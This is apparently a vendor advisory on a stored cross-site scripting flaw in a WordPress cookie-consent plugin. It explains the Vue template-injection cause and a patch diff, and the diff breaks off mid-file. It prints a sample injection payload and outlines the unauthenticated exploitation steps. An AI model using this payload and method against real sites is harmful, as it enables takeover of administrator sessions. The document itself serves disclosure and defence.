Published : December 4, 2026

CVE-2026-129331: WPLP Cookie Consent <= 4.5.0 Unauthenticated Stored Cross-Site Scripting via Data Request Form 'wpl_datarequest_name' Parameter via Vue Template Injection PoC, Patch Analysis & Rule

Severity High (CVSS 7.2)
CWE 79
Vulnerable Version 4.5.0
Patched Version 4.5.1
Disclosed December 3, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-129331: The WPLP Cookie Consent plugin for WordPress (versions up to and including 4.5.0) contains an unauthenticated stored cross-site scripting (XSS) vulnerability, CWE-79, with a CVSS score of 7.2. Atomic Edge research shows that the flaw exists in the Data Subject Access Request (DSAR) form processing and the admin Compliance Records screen. Attackers can inject arbitrary JavaScript that executes in an administrator’s browser session.

The root cause is a two-part failure. First, the unauthenticated AJAX handler (in class-gdpr-cookie-consent-admin.php, around line 1574) accepts the ‘form_data[wpl_datarequest_name]’ and ‘form_data[wpl_datarequest_email]’ parameters without rejecting template syntax characters. Second, the admin list table (class-wpl-data-req-table.php) renders these visitor-supplied values directly into HTML that is later compiled by Vue.js. The admin page loads Vue, and the table output is inside the Vue root element. When Vue compiles the DOM, it interprets double curly braces {{ }} as template expressions. An attacker who submits a name like ‘{{constructor.constructor(“alert(1)”)()}}’ stores executable JavaScript that runs when an administrator views the Data Requests page. The patch adds validation to reject curly braces in the name and email fields, and it adds a v-pre attribute to the wrapping div to stop Vue from compiling the table content.

Exploitation is straightforward. The attacker first visits the public DSAR shortcode page to harvest the nonces that the plugin embeds in the form (the AJAX nonce and any other required tokens). Next, the attacker sends a POST to /wp-admin/admin-ajax.php with an action that corresponds to the data request submission handler (the exact action name is present in the plugin’s JavaScript but is not quoted in the diff). The POST body includes form_data[wpl_datarequest_name] set to a Vue template injection payload and a valid email. The plugin stores the unsanitized name in the wp_wpl_data_req database table. When an administrator later opens the Compliance Records → Data Requests screen, the stored payload is output into the table, and Vue compiles it, executing the script in the admin’s browser. Atomic Edge analysis confirms that the payload can perform any action the admin can, including creating new administrator accounts or installing malicious plugins.

The patch fixes the issue with three changes. It adds server-side validation that rejects any name or email containing ‘{‘ or ‘}’ (lines around 1597). It adds a v-pre attribute to the div that wraps the list table output (lines around 1139 and 1862), which tells Vue to skip compilation of that subtree. It also changes the column escaping to use a new helper function gdpr_cookie_consent_esc_vue instead of plain esc_html, which presumably encodes curly braces as HTML entities. These measures together prevent template injection even if a malicious payload somehow bypasses the initial validation. The patch also fixes an unrelated paging parameter issue and adds a missing notification message option.

If exploited, this vulnerability gives an unauthenticated attacker the ability to run arbitrary JavaScript in an administrator’s session. Impact includes full site takeover: the attacker can create a new admin user, install a backdoor plugin, modify site settings, or exfiltrate sensitive data such as user lists, order information, or configuration secrets. Atomic Edge research rates the practical impact as high because the stored payload executes automatically when the admin views the Data Requests screen, a routine task for compliance management.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/gdpr-cookie-consent/admin/class-gdpr-cookie-consent-admin.php
+++ b/gdpr-cookie-consent/admin/class-gdpr-cookie-consent-admin.php
@@ -1139,9 +1139,12 @@
 						<?php $consent_logs->search_box( __( 'Search Logs', 'gdpr-cookie-consent' ), 'gdpr-cookie-consent' ); ?>
 					</div>
 				</div>
+			<?php // v-pre: this table renders visitor-supplied data inside the Vue root; stop Vue compiling it as a template. ?>
+			<div v-pre>
 			<?php
 				$consent_logs->display();
 			?>
+			</div>
 			<input type="hidden" name="page" value="gdpr-cookie-consent"/>
 			</form>
 		</div>
@@ -1156,6 +1159,7 @@
 					'class' => array(),
 					'id'    => array(),
 					'style' => array(),
+					'v-pre' => true, // Keeps Vue from compiling the visitor-data table (template injection).
 				),
 				'h1'     => array(
 					'class' => array(),
@@ -1570,6 +1574,17 @@
 			$error   = true;
 			$message = __( "Sorry, it looks like you're a bot", 'gdpr-cookie-consent' );
 		}
+		$has_request_type = false;
+		foreach ( array_keys( $this->wpl_data_reqs_options() ) as $fieldname ) {
+			if ( isset( $params[ 'wpl_datarequest_' . $fieldname ] ) && 1 === intval( $params[ 'wpl_datarequest_' . $fieldname ] ) ) {
+				$has_request_type = true;
+				break;
+			}
+		}
+		if ( ! $has_request_type ) {
+			$error   = true;
+			$message = __( 'Please choose at least one request type.', 'gdpr-cookie-consent' );
+		}
 		if ( ! isset( $params['wpl_datarequest_email'] ) || ! is_email( $params['wpl_datarequest_email'] ) ) {
 			$error   = true;
 			$message = __( 'Please enter a valid email address.', 'gdpr-cookie-consent' );
@@ -1582,6 +1597,12 @@
 			$error   = true;
 			$message = __( "That's a long name you got there. Please try to shorten the name.", 'gdpr-cookie-consent' );
 		}
+		// Curly braces are never part of a real name/email and enable template injection in the admin UI.
+		if ( ( isset( $params['wpl_datarequest_name'] ) && preg_match( '/[{}]/', $params['wpl_datarequest_name'] ) )
+			|| ( isset( $params['wpl_datarequest_email'] ) && preg_match( '/[{}]/', $params['wpl_datarequest_email'] ) ) ) {
+			$error   = true;
+			$message = __( 'Your name or email contains invalid characters.', 'gdpr-cookie-consent' );
+		}
 		if ( ! $error ) {
 			$email = sanitize_email( $params['wpl_datarequest_email'] );
 			$name  = sanitize_text_field( $params['wpl_datarequest_name'] );
@@ -1612,7 +1633,8 @@
 				$this->wpl_send_notification_mail();
 				$message = __( 'Your request has been processed successfully!', 'gdpr-cookie-consent' );
 			} else {
-				$message = __( 'Your request could not be processed. A request is already in progress for this email address or the form is not complete.', 'gdpr-cookie-consent' );
+				$error   = true;
+				$message = __( 'Your request could not be processed. A request of the selected type is already in progress for this email address.', 'gdpr-cookie-consent' );
 			}
 		}
 			// response for ajax.
@@ -1840,9 +1862,12 @@
 						<?php $datarequests->search_box( __( 'Search Logs', 'gdpr-cookie-consent' ), 'gdpr-cookie-consent' ); ?>
 					</div>
 				</div>
+				<?php // v-pre: this table renders visitor-supplied data inside the Vue root; stop Vue compiling it as a template. ?>
+				<div v-pre>
 				<?php
 					$datarequests->display();
 				?>
+				</div>
 				<input type="hidden" name="page" value="gdpr-cookie-consent"/>
 			</form>
 		</div>
@@ -1858,6 +1883,7 @@
 					'class' => array(),
 					'id'    => array(),
 					'style' => array(),
+					'v-pre' => true, // Keeps Vue from compiling the visitor-data table (template injection).
 				),
 				'h1'     => array(
 					'class' => array(),
@@ -2034,7 +2060,7 @@
 				),
 				array( 'ID' => intval( $_GET['id'] ) )
 			);
-			$paged = isset( $_GET['paged'] ) ? 'paged=' . intval( $_GET['paged'] ) : '';
+			$paged = isset( $_GET['wpl_dr_paged'] ) ? 'wpl_dr_paged=' . absint( $_GET['wpl_dr_paged'] ) : '';
 			wp_redirect( admin_url( 'admin.php?page=gdpr-cookie-consent' . ( $paged ? '&' . $paged : '' ) . '#compliance_records#data_request' ) );
 			exit;

@@ -2055,7 +2081,7 @@
 		}
 		global $wpdb;
 		$wpdb->delete( $wpdb->prefix . 'wpl_data_req', array( 'ID' => intval( $_GET['id'] ) ) );
-		$paged = isset( $_GET['paged'] ) ? 'paged=' . intval( $_GET['paged'] ) : '';
+		$paged = isset( $_GET['wpl_dr_paged'] ) ? 'wpl_dr_paged=' . absint( $_GET['wpl_dr_paged'] ) : '';
 		wp_redirect( admin_url( 'admin.php?page=gdpr-cookie-consent' . ( $paged ? '&' . $paged : '' ) . '#compliance_records#data_request' ) );
 		exit;
 	}
@@ -5521,6 +5547,7 @@
 			$the_options['button_accept_url']                  = isset( $_POST['gdpr-cookie-accept-url'] ) ? sanitize_text_field( wp_unslash( $_POST['gdpr-cookie-accept-url'] ) ) : '#';
 			$the_options['button_accept_as_button']            = isset( $_POST['gdpr-cookie-accept-as'] ) && ( true === $_POST['gdpr-cookie-accept-as'] || 'true' === $_POST['gdpr-cookie-accept-as'] ) ? 'true' : 'false';
 			$the_options['button_accept_new_win']              = isset( $_POST['gdpr-cookie-url-new-window'] ) && ( true === $_POST['gdpr-cookie-url-new-window'] || 'true' === $_POST['gdpr-cookie-url-new-window'] ) ? 'true' : 'false';
+			$auto_generated_banner 							   = isset( $_POST['auto_generated_banner'] ) ? sanitize_text_field( wp_unslash( $_POST['auto_generated_banner'] ) ) : '0';			// if($auto_generated_banner !== '1'){
 			if($auto_generated_banner !== '1'){
 				$the_options['button_accept_button_color']         = isset( $_POST['gdpr-cookie-accept-background-color'] ) ? sanitize_text_field( wp_unslash( $_POST['gdpr-cookie-accept-background-color'] ) ) : '#18a300';
 				$the_options['button_accept_button_border_color']  = isset( $_POST['gdpr-cookie-accept-border-color'] ) ? sanitize_text_field( wp_unslash( $_POST['gdpr-cookie-accept-border-color'] ) ) : '#18a300';
@@ -13641,7 +13668,8 @@
 				'is_script_dependency_on'                  => $the_options['is_script_dependency_on'],
 				'header_dependency'                        => $the_options['header_dependency'] ?? '',
 				'footer_dependency'                        => $the_options['footer_dependency'] ?? '',
-				'whitelist_scripts'                        => get_option( 'wpl_options_custom-scripts' )['whitelist_script'],
+				// The option does not exist until a whitelist entry is first saved.
+				'whitelist_scripts'                        => get_option( 'wpl_options_custom-scripts' )['whitelist_script'] ?? null,

 				'show_language_as_options'				   => $show_language_as_options,
 				'lang_selected'							   => $language,
@@ -14683,6 +14711,8 @@
 					'notify_message_pdpl'                    => $new_options['notify_message_pdpl'],
 					'notify_message_pipeda'                  => $new_options['notify_message_pipeda'],
 					'notify_message_app'                     => $new_options['notify_message_app'],
+					'notify_message_default_opt_out'         => $new_options['notify_message_default_opt_out'],
+					'notify_message_pure_opt_out'            => $new_options['notify_message_pure_opt_out'],
 				)
 			),
 			200
--- a/gdpr-cookie-consent/admin/data-req/class-wpl-data-req-table.php
+++ b/gdpr-cookie-consent/admin/data-req/class-wpl-data-req-table.php
@@ -1,553 +1,666 @@
-<?php
-/**
- * Data Request Reports Table Class
- */
-
-// Exit if accessed directly
-if ( ! defined( 'ABSPATH' ) ) {
-	exit;
-}
-
-// Load WP_List_Table if not loaded
-if ( ! class_exists( 'WP_List_Table' ) ) {
-	require_once ABSPATH . 'wp-admin/includes/class-wp-list-table.php';
-}
-
-class WPL_Data_Req_Table extends WP_List_Table {
-
-	/**
-	 * Number of items per page
-	 *
-	 * @var int
-	 * @since  3.0.0
-	 */
-	public $per_page = 10;
-
-	/**
-	 * Number of results found
-	 *
-	 * @var int
-	 * @since  3.0.0
-	 */
-	public $count = 0;
-
-	/**
-	 * Total results
-	 *
-	 * @var int
-	 * @since  3.0.0
-	 */
-	public $total = 0;
-
-	/**
-	 * The arguments for the data set
-	 *
-	 * @var array
-	 * @since   3.0.0
-	 */
-	public $args = array();
-
-	/**
-	 * Get things started
-	 *
-	 * @since  3.0.0
-	 * @see   WP_List_Table::__construct()
-	 */
-	public function __construct() {
-		global $status, $page;
-
-		// Set parent defaults
-		parent::__construct(
-			array(
-				'singular' => __( 'User', 'gdpr-cookie-consent' ),
-				'plural'   => __( 'Users', 'gdpr-cookie-consent' ),
-				'ajax'     => false,
-			)
-		);
-	}
-
-	/**
-	 * Show the search field
-	 *
-	 * @param string $text     Label for the search box
-	 * @param string $input_id ID of the search box
-	 *
-	 * @return void
-	 * @since  3.0.0
-	 */
-	public function search_box( $text, $input_id ) {
-		$input_id = $input_id . '-search-input-data-request';
-
-		$order_by = isset( $_REQUEST['orderby'] ) ? sanitize_key( wp_unslash( $_REQUEST['orderby'] ) ) : '';
-
-		if ( '' !== $order_by && array_key_exists( $order_by, $this->get_sortable_columns() ) ) {
-			echo '<input type="hidden" name="orderby" value="' . esc_attr( $order_by ) . '" />';
-		}
-
-		$order = isset( $_REQUEST['order'] ) ? strtolower( sanitize_key( wp_unslash( $_REQUEST['order'] ) ) ) : '';
-
-		if ( in_array( $order, array( 'asc', 'desc' ), true ) ) {
-			echo '<input type="hidden" name="order" value="' . esc_attr( $order ) . '" />';
-		}
-		$search = $this->get_search();
-		?>
-		<div class="search-and-export-container">
-			<div class="search-box">
-				<label class="screen-reader-text" for="<?php echo esc_attr( $input_id ); ?>">
-					<?php echo esc_html( $text ); ?>:
-				</label>
-				<input placeholder="Search Requests" type="search" id="<?php echo esc_attr( $input_id ); ?>" name="s" value="<?php echo esc_attr( $search ); ?>"/>
-				<img id="search-logo-data-request" v-on:click="submitDataRequestSearch" src="<?php echo esc_url( GDPR_COOKIE_CONSENT_PLUGIN_URL ) . 'admin/images/vector.png'; ?>" alt="Search Logo">
-			</div>
-			<?php
-				submit_button(
-					$text,
-					'button',
-					false,
-					false,
-					array( 'ID' => 'search-submit-data-request' )
-				);
-			?>
-		</div>
-					<?php
-
-			$this->resolved_select();
-
-			?>
-		<?php
-	}
-
-	/**
-	 * Gets the name of the primary column.
-	 *
-	 * @return string Name of the primary column.
-	 * @since   3.0.0
-	 * @access protected
-	 */
-	protected function get_primary_column_name() {
-		return 'name';
-	}
-
-	/**
-	 * This function renders most of the columns in the list table.
-	 *
-	 * @param array  $item        Contains all the data of the customers
-	 * @param string $column_name The name of the column
-	 *
-	 * @return string Column Name
-	 * @since  3.0.0
-	 */
-	public function column_default( $item, $column_name ) {
-		switch ( $column_name ) {
-			case 'resolved':
-				$value = $item['resolved'] ? __( 'Resolved', 'gdpr-cookie-consent' ) : __( 'Open', 'gdpr-cookie-consent' );
-				break;
-			case 'datarequest':
-				// Built from the fixed request-type list, contains a link.
-				$value = isset( $item[ $column_name ] ) ? $item[ $column_name ] : null;
-				break;
-			default:
-				$value = isset( $item[ $column_name ] ) ? esc_html( $item[ $column_name ] ) : null;
-				break;
-		}
-		return apply_filters( 'wpl_dnsmpd_column_' . $column_name, $value, $item['ID'] );
-	}
-
-	/**
-	 * Column name
-	 *
-	 * @param array $item
-	 *
-	 * @return string
-	 */
-	public function column_name( $item ) {
-		$name  = '#' . esc_html( $item['ID'] ) . ' ';
-		$name .= ! empty( $item['name'] ) ? esc_html( $item['name'] ) : '<em>' . esc_html__( 'Unnamed user', 'gdpr-cookie-consent' ) . '</em>';
-		return $name;
-	}
-
-	/**
-	 * Column name actions
-	 *
-	 * @param array $item
-	 *
-	 * @return string
-	 */
-	public function column_actions_resolve_delete( $item ) {
-		$actions = array();
-
-		// Show Resolve action if not resolved
-		if ( empty( $item['resolved'] ) || intval( $item['resolved'] ) === 0 ) {
-			$resolve_url = wp_nonce_url(
-				admin_url( 'admin-post.php?action=gdpr_resolve&id=' . $item['ID'] ),
-				'wpl_resolve_request'
-			);
-			$actions['resolve'] = '<a href="' . esc_url( $resolve_url ) . '">' .
-				__( 'Resolve', 'gdpr-cookie-consent' ) .
-			'</a>';
-		}
-		$delete_url = wp_nonce_url(
-			admin_url( 'admin-post.php?action=gdpr_delete&id=' . $item['ID'] ),
-			'wpl_delete_request'
-		);
-		$actions['delete'] = '<a href="' . esc_url( $delete_url ) . '">' . __( 'Delete', 'gdpr-cookie-consent' ) . '</a>';
-		return $this->row_actions( $actions );
-	}
-	/**
-	 * Retrieve the table columns
-	 *
-	 * @return array $columns Array of all the list table columns
-	 * @since  3.0.0
-	 */
-	public function get_columns() {
-		$columns = array(
-			'cb'                     => '<label class="screen-reader-text" for="data-req-checkbox">Data Request report Log</label><input id="data-req-checkbox" type="checkbox"/>',
-			'name'                   => __( 'Name', 'gdpr-cookie-consent' ),
-			'email'                  => __( 'Email', 'gdpr-cookie-consent' ),
-			'resolved'               => __( 'Status', 'gdpr-cookie-consent' ),
-			'datarequest'            => __( 'Data request', 'gdpr-cookie-consent' ),
-			'date'                   => __( 'Date', 'gdpr-cookie-consent' ),
-			'actions_resolve_delete' => __( 'Actions', 'gdpr-cookie-consent' ),
-		);
-
-		return apply_filters( 'wpl_report_customer_columns', $columns );
-	}
-
-	public function column_cb( $item ) {
-		return sprintf(
-			'<input type="checkbox" name="%1$s_id[]" value="%2$s" />',
-			esc_attr( $this->_args['singular'] ),
-			esc_attr( $item['ID'] )
-		);
-	}
-
-	/**
-	 * Get the sortable columns
-	 *
-	 * @return array Array of all the sortable columns
-	 * @since  3.0.0
-	 */
-	public function get_sortable_columns() {
-		return array(
-			'request_date'           => array( 'request_date', true ),
-			'name'                   => array( 'name', true ),
-			'region'                 => array( 'region', true ),
-			'email'                  => array( 'email', true ),
-			'resolved'               => array( 'resolved', true ),
-			'date'                   => array( 'date', true ),
-			'datarequest'            => array( 'datarequest', true ),
-			'actions_resolve_delete' => array( 'actions_resolve_delete', true ),
-		);
-	}
-
-	/**
-	 * Outputs the reporting views
-	 *
-	 * @return void
-	 * @since  3.0.0
-	 */
-	public function get_bulk_actions( $which = '' ) {
-
-		$actions      = array(
-			'delete'  => __( 'Delete', 'gdpr-cookie-consent' ),
-			'reslove' => __( 'Resolve', 'gdpr-cookie-consent' ),
-		);
-		// echo $this->resolved_select();
-		return $actions;
-	}
-
-	/**
-	 * Process bulk actions
-	 *
-	 * @access      private
-	 * @since        3.0.0
-	 * @return      void
-	 */
-	public function process_bulk_action() {
-
-		if ( ! current_user_can( 'manage_options' ) ) {
-		    wp_die( 'Unauthorized request.' );
-		}
-
-		$ids = isset( $_GET['user_id'] ) ? array_filter( array_map( 'absint', (array) wp_unslash( $_GET['user_id'] ) ) ) : array();
-		$action = $this->current_action();
-		if ( ! $action ) {
-			// If no action was found, check for action2 (bottom dropdown)
-			$action2 = isset( $_GET['action2'] ) ? sanitize_text_field( wp_unslash( $_GET['action2'] ) ) : '';
-			$action  = ( '' !== $action2 && '-1' !== $action2 ) ? $action2 : false;
-		}
-		if ( !$action || ! $ids ) {
-			return;
-		}
-		check_admin_referer( 'bulk-' . $this->_args['plural'] );
-
-		if ( ! is_array( $ids ) ) {
-			$ids = array( $ids );
-		}
-
-		foreach ( $ids as $id ) {
-			if ( 'delete' === $action ) {
-				global $wpdb;
-				$wpdb->delete( $wpdb->prefix . 'wpl_data_req', array( 'ID' => intval( $id ) ) );
-				$paged = isset( $_GET['paged'] ) ? 'paged=' . intval( $_GET['paged'] ) : '';
-			} elseif ( 'reslove' === $action ) {
-				global $wpdb;
-				$wpdb->update(
-					$wpdb->prefix . 'wpl_data_req',
-					array(
-						'resolved' => 1,
-					),
-					array( 'ID' => intval( $id ) )
-				);
-			}
-		}
-		$paged = isset( $_GET['paged'] ) ? 'paged=' . absint( $_GET['paged'] ) : '';
-		$redirect_url = admin_url( 'admin.php?page=gdpr-cookie-consent' . ( $paged ? '&' . $paged : '' ) . '#compliance_records#data_request' );
-		if ( headers_sent() ) {
-			echo '<script>window.location.replace(' . wp_json_encode( esc_url_raw( $redirect_url ) ) . ');</script>';
-		} else {
-			wp_safe_redirect( $redirect_url );
-		}
-		exit;
-	}
-
-	/**
-	 * Retrieve the current page number
-	 *
-	 * @return int Current page number
-	 * @since  3.0.0
-	 */
-	public function get_paged() {
-		return isset( $_GET['paged'] ) ? absint( $_GET['paged'] ) : 1;
-	}
-
-	/**
-	 * Retrieves the search query string
-	 *
-	 * @return mixed string If search is present, false otherwise
-	 * @since  3.0.0
-	 */
-	public function get_search() {
-		return ! empty( $_GET['s'] ) ? sanitize_text_field( wp_unslash( $_GET['s'] ) ) : false;
-	}
-
-
-	public function resolved_select() {
-		// Option Select
-		$options  = array(
-			0 => __( 'ALL', 'gdpr-cookie-consent' ),
-			1 => __( 'Resolved', 'gdpr-cookie-consent' ),
-			2 => __( 'Unresolved', 'gdpr-cookie-consent' ),
-		);
-		$selected = 0;
-
-		if ( isset( $_GET['wpl_resolved_select2'] ) ) {
-			$selected = intval( $_GET['wpl_resolved_select2'] );
-		}
-		// Generate a unique identifier for the select element
-		$unique_id = uniqid( 'wpl_resolved_select_' );
-
-		?>
-		<!-- submit the form on change  -->
-		<script>
-
-			document.addEventListener('DOMContentLoaded', function () {
-				var resolvedSelect = document.getElementById('<?php echo esc_js( $unique_id ); ?>');
-				if (resolvedSelect) {
-					resolvedSelect.addEventListener('change', function () {
-						document.getElementById('wpl-dnsmpd-filter-datarequest').submit();
-					});
-				}
-			});
-		</script>
-
-		<?php
-		// Use the unique identifier in the select element's id attribute
-		echo '<select name="wpl_resolved_select2" id="' . esc_js( $unique_id ) . '" class="wpl_resolved_select_filter">';
-		foreach ( $options as $value => $label ) {
-			echo '<option value="' . esc_attr( $value ) . '" ' . ( $selected == $value ? 'selected' : '' ) . '>' . esc_html( $label ) . '</option>';
-		}
-		echo '</select>';
-	}
-
-	/**
-	 * Build all the reports data
-	 *
-	 * @return array $reports_data All the data for customer reports
-	 * @global object $wpdb Used to query the database using the WordPress
-	 *                      Database API
-	 * @since  3.0.0
-	 */
-	public function reports_data() {
-
-		$data    = array();
-		$paged   = $this->get_paged();
-		$offset  = $this->per_page * ( $paged - 1 );
-		$search  = $this->get_search();
-		$order   = isset( $_GET['order'] )
-			? sanitize_text_field( wp_unslash( $_GET['order'] ) ) : 'DESC';
-		$orderby = isset( $_GET['orderby'] )
-			? sanitize_text_field( wp_unslash( $_GET['orderby'] ) ) : 'id';
-
-		$args = array(
-			'number'  => $this->per_page,
-			'offset'  => $offset,
-			'order'   => $order,
-			'orderby' => $orderby,
-			'search'  => $search,
-		);
-
-		if ( is_email( $search ) ) {
-			$args['email'] = $search;
-		} else {
-			$args['name'] = $search;
-		}
-
-		if ( isset( $_GET['wpl_resolved_select2'] ) ) {
-			$args['resolved'] = intval( $_GET['wpl_resolved_select2'] );
-		}
-
-		$this->args = $args;
-		$requests   = $this->get_requests( $args );
-		if ( $requests ) {
-			foreach ( $requests as $request ) {
-				$datarequest = '';
-
-				$options = Gdpr_Cookie_Consent_Admin::wpl_data_reqs_options();
-				foreach ( $options as $fieldname => $label ) {
-					if ( $request->{$fieldname} == 1 ) {
-						$datarequest = '<a href="https://wplegalpages.com/' . $label['slug'] . '" target="_blank">' . $label['short'] . '</a>';
-					}
-				}
-				$time = gmdate( get_option( 'time_format' ), $request->request_date );
-				$date = $this->wpl_localize_date( $request->request_date );
-
-				// Translators: Placeholder %1$s represents the date, %2$s represents the time.
-				$date_time_format = __( '%1$s at %2$s', 'gdpr-cookie-consent' );
-
-				$date = sprintf( $date_time_format, $date, $time );
-
-				$data[] = array(
-					'ID'          => $request->ID,
-					'name'        => $request->name,
-					'email'       => $request->email,
-					'resolved'    => $request->resolved,
-					'datarequest' => $datarequest,
-					'date'        => $date,
-				);
-			}
-		}
-
-		return apply_filters( 'wpl_datarequest_data', $data );
-	}
-
-	/**
-	 * Prepare items for the table
-	 *
-	 * @return void
-	 */
-	public function prepare_items() {
-		$columns  = $this->get_columns();
-		$hidden   = array(); // No hidden columns
-		$sortable = $this->get_sortable_columns();
-		$this->process_bulk_action();
-		$this->_column_headers = array( $columns, $hidden, $sortable );
-		$this->items           = $this->reports_data();
-		$this->total           = $this->count_requests( $this->args );
-		$total_pages           = $this->per_page ? ceil( (int) $this->total / (int) $this->per_page ) : 1;
-		$this->set_pagination_args(
-			array(
-				'total_items' => $this->total,
-				'per_page'    => $this->per_page,
-				'total_pages' => $total_pages,
-			)
-		);
-	}
-
-	/**
-	 * Count number of users
-	 *
-	 * @param $args
-	 *
-	 * @return int
-	 */
-	public function count_requests( $args ) {
-		unset( $args['number'] );
-		$users = $this->get_requests( $args );
-		return count( $users );
-	}
-
-	/**
-	 * Get users
-	 *
-	 * @param array $args
-	 *
-	 * @return array
-	 */
-	public function get_requests( $args ) {
-
-		global $wpdb;
-		$table_name = $wpdb->prefix . 'wpl_data_req';
-
-		if ( $wpdb->get_var( $wpdb->prepare( 'SHOW TABLES LIKE %s', $wpdb->esc_like( $table_name ) ) ) !== $table_name ) {
-			// Table doesn't exist yet, return empty result set or handle as needed
-			return array();
-		}
-		$sql = "SELECT * from {$wpdb->prefix}wpl_data_req WHERE 1=1 ";
-		if ( isset( $args['email'] ) && ! empty( $args['email'] ) && is_email( $args['email'] ) ) {
-			$sql .= $wpdb->prepare( " AND email LIKE %s", '%' . $wpdb->esc_like( sanitize_email( $args['email'] ) ) . '%' );
-		}
-
-		if ( isset( $args['name'] ) && ! empty( $args['name'] ) ) {
-			$sql .= $wpdb->prepare(" AND name LIKE %s", '%' . $wpdb->esc_like( $args['name'] ) . '%');
-		}
-
-		if ( isset( $args['resolved'] ) ) {
-
-			if ( intval( $args['resolved'] ) == 1 ) {
-
-				$sql .= ' AND resolved = ' . intval( $args['resolved'] );
-
-			} elseif ( intval( $args['resolved'] ) == 2 ) {
-
-				$args['resolved'] = 0;
-				$sql             .= ' AND resolved = ' . intval( $args['resolved'] );
-			}
-		}
-
-		$sql .= ' ORDER BY ' . sanitize_title( $args['orderby'] ) . ' ' . sanitize_title( $args['order'] );
-		if ( isset( $args['number'] ) ) {
-			$sql .= ' LIMIT ' . intval( $args['number'] ) . ' OFFSET ' . intval( $args['offset'] );
-		}
-		// as no data is inserting into the table so no $wpdb->prepare() is needed;
-		return $wpdb->get_results( $sql ); // phpcs:ignore
-	}
-
-	public function wpl_localize_date( $unix_time ) {
-
-		$formatted_date    = gmdate( get_option( 'date_format' ), $unix_time );
-		$month             = gmdate( 'F', $unix_time );
-		$month_localized   = date_i18n( 'F', $unix_time );
-		$date              = str_replace( $month, $month_localized, $formatted_date );
-		$weekday           = gmdate( 'l', $unix_time );
-		$weekday_localized = date_i18n( 'l', $unix_time );
-		$date              = str_replace( $weekday, $weekday_localized, $date );
-		return $date;
-	}
-
-	public function wpl_sprintf() {
-
-		$args       = func_get_args();
-		$count      = substr_count( $args[0], '%s' );
-		$args_count = count( $args ) - 1;
-		if ( $args_count === $count ) {
-			return call_user_func_array( 'sprintf', $args );
-		} else {
-			$output = $args[0];
-			if ( is_admin() ) {
-				$output .= 'Translation error';
-			}
-			return $output;
-		}
-	}
-}
+<?php
+/**
+ * Data Request Reports Table Class
+ */
+
+// Exit if accessed directly
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
+// Load WP_List_Table if not loaded
+if ( ! class_exists( 'WP_List_Table' ) ) {
+	require_once ABSPATH . 'wp-admin/includes/class-wp-list-table.php';
+}
+
+class WPL_Data_Req_Table extends WP_List_Table {
+
+	/**
+	 * Query arg holding this table's current page (kept separate from other tables on the same page).
+	 *
+	 * @var string
+	 */
+	const PAGED_ARG = 'wpl_dr_paged';
+
+	/**
+	 * Page number used instead of the query arg once it is known to be past the last page.
+	 *
+	 * @var int|null
+	 */
+	private $clamped_paged = null;
+
+	const LIST_ID = 'data_request';
+
+	/**
+	 * Whether the current request (search, paging, sorting, bulk action) targets this table.
+	 *
+	 * @return bool
+	 */
+	private function is_current_list() {
+		return isset( $_GET['wpl_list'] ) && self::LIST_ID === $_GET['wpl_list']; // phpcs:ignore WordPress.Security.NonceVerification.Recommended
+	}
+
+	/**
+	 * Tag this table's pagination / sort links with its LIST_ID, and keep another
+	 * table's search, paging and sorting out of them.
+	 *
+	 * @return void
+	 */
+	public function display() {
+		$uri = isset( $_SERVER['REQUEST_URI'] ) ? $_SERVER['REQUEST_URI'] : ''; // phpcs:ignore WordPress.Security.ValidatedSanitizedInput
+		$get = $_GET; // phpcs:ignore WordPress.Security.NonceVerification.Recommended
+		$list_uri = $uri;
+		if ( ! $this->is_current_list() ) {
+			$list_uri = remove_query_arg( array( 's', 'paged', 'orderby', 'order' ), $uri );
+			unset( $_GET['orderby'], $_GET['order'] ); // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Drops another table's sort args only; $_GET is restored below.
+		}
+		$_SERVER['REQUEST_URI'] = add_query_arg( 'wpl_list', self::LIST_ID, $list_uri );
+		parent::display();
+		$_SERVER['REQUEST_URI'] = $uri;
+		$_GET                   = $get;
+	}
+
+	/**
+	 * Number of items per page
+	 *
+	 * @var int
+	 * @since  3.0.0
+	 */
+	public $per_page = 10;
+
+	/**
+	 * Number of results found
+	 *
+	 * @var int
+	 * @since  3.0.0
+	 */
+	public $count = 0;
+
+	/**
+	 * Total results
+	 *
+	 * @var int
+	 * @since  3.0.0
+	 */
+	public $total = 0;
+
+	/**
+	 * The arguments for the data set
+	 *
+	 * @var array
+	 * @since   3.0.0
+	 */
+	public $args = array();
+
+	/**
+	 * Get things started
+	 *
+	 * @since  3.0.0
+	 * @see   WP_List_Table::__construct()
+	 */
+	public function __construct() {
+		global $status, $page;
+
+		// Set parent defaults
+		parent::__construct(
+			array(
+				'singular' => __( 'User', 'gdpr-cookie-consent' ),
+				'plural'   => __( 'Users', 'gdpr-cookie-consent' ),
+				'ajax'     => false,
+			)
+		);
+	}
+
+	/**
+	 * Show the search field
+	 *
+	 * @param string $text     Label for the search box
+	 * @param string $input_id ID of the search box
+	 *
+	 * @return void
+	 * @since  3.0.0
+	 */
+	public function search_box( $text, $input_id ) {
+		$input_id = $input_id . '-search-input-data-request';
+		echo '<input type="hidden" name="wpl_list" value="' . esc_attr( self::LIST_ID ) . '" />';
+
+		$order_by = $this->is_current_list() && isset( $_REQUEST['orderby'] ) ? sanitize_key( wp_unslash( $_REQUEST['orderby'] ) ) : ''; // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Read-only list view arg, sanitized.
+
+		if ( '' !== $order_by && array_key_exists( $order_by, $this->get_sortable_columns() ) ) {
+			echo '<input type="hidden" name="orderby" value="' . esc_attr( $order_by ) . '" />';
+		}
+
+		$order = $this->is_current_list() && isset( $_REQUEST['order'] ) ? strtolower( sanitize_key( wp_unslash( $_REQUEST['order'] ) ) ) : ''; // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Read-only list view arg, sanitized.
+
+		if ( in_array( $order, array( 'asc', 'desc' ), true ) ) {
+			echo '<input type="hidden" name="order" value="' . esc_attr( $order ) . '" />';
+		}
+		$search = $this->get_search();
+		?>
+		<div class="search-and-export-container">
+			<div class="search-box">
+				<label class="screen-reader-text" for="<?php echo esc_attr( $input_id ); ?>">
+					<?php echo esc_html( $text ); ?>:
+				</label>
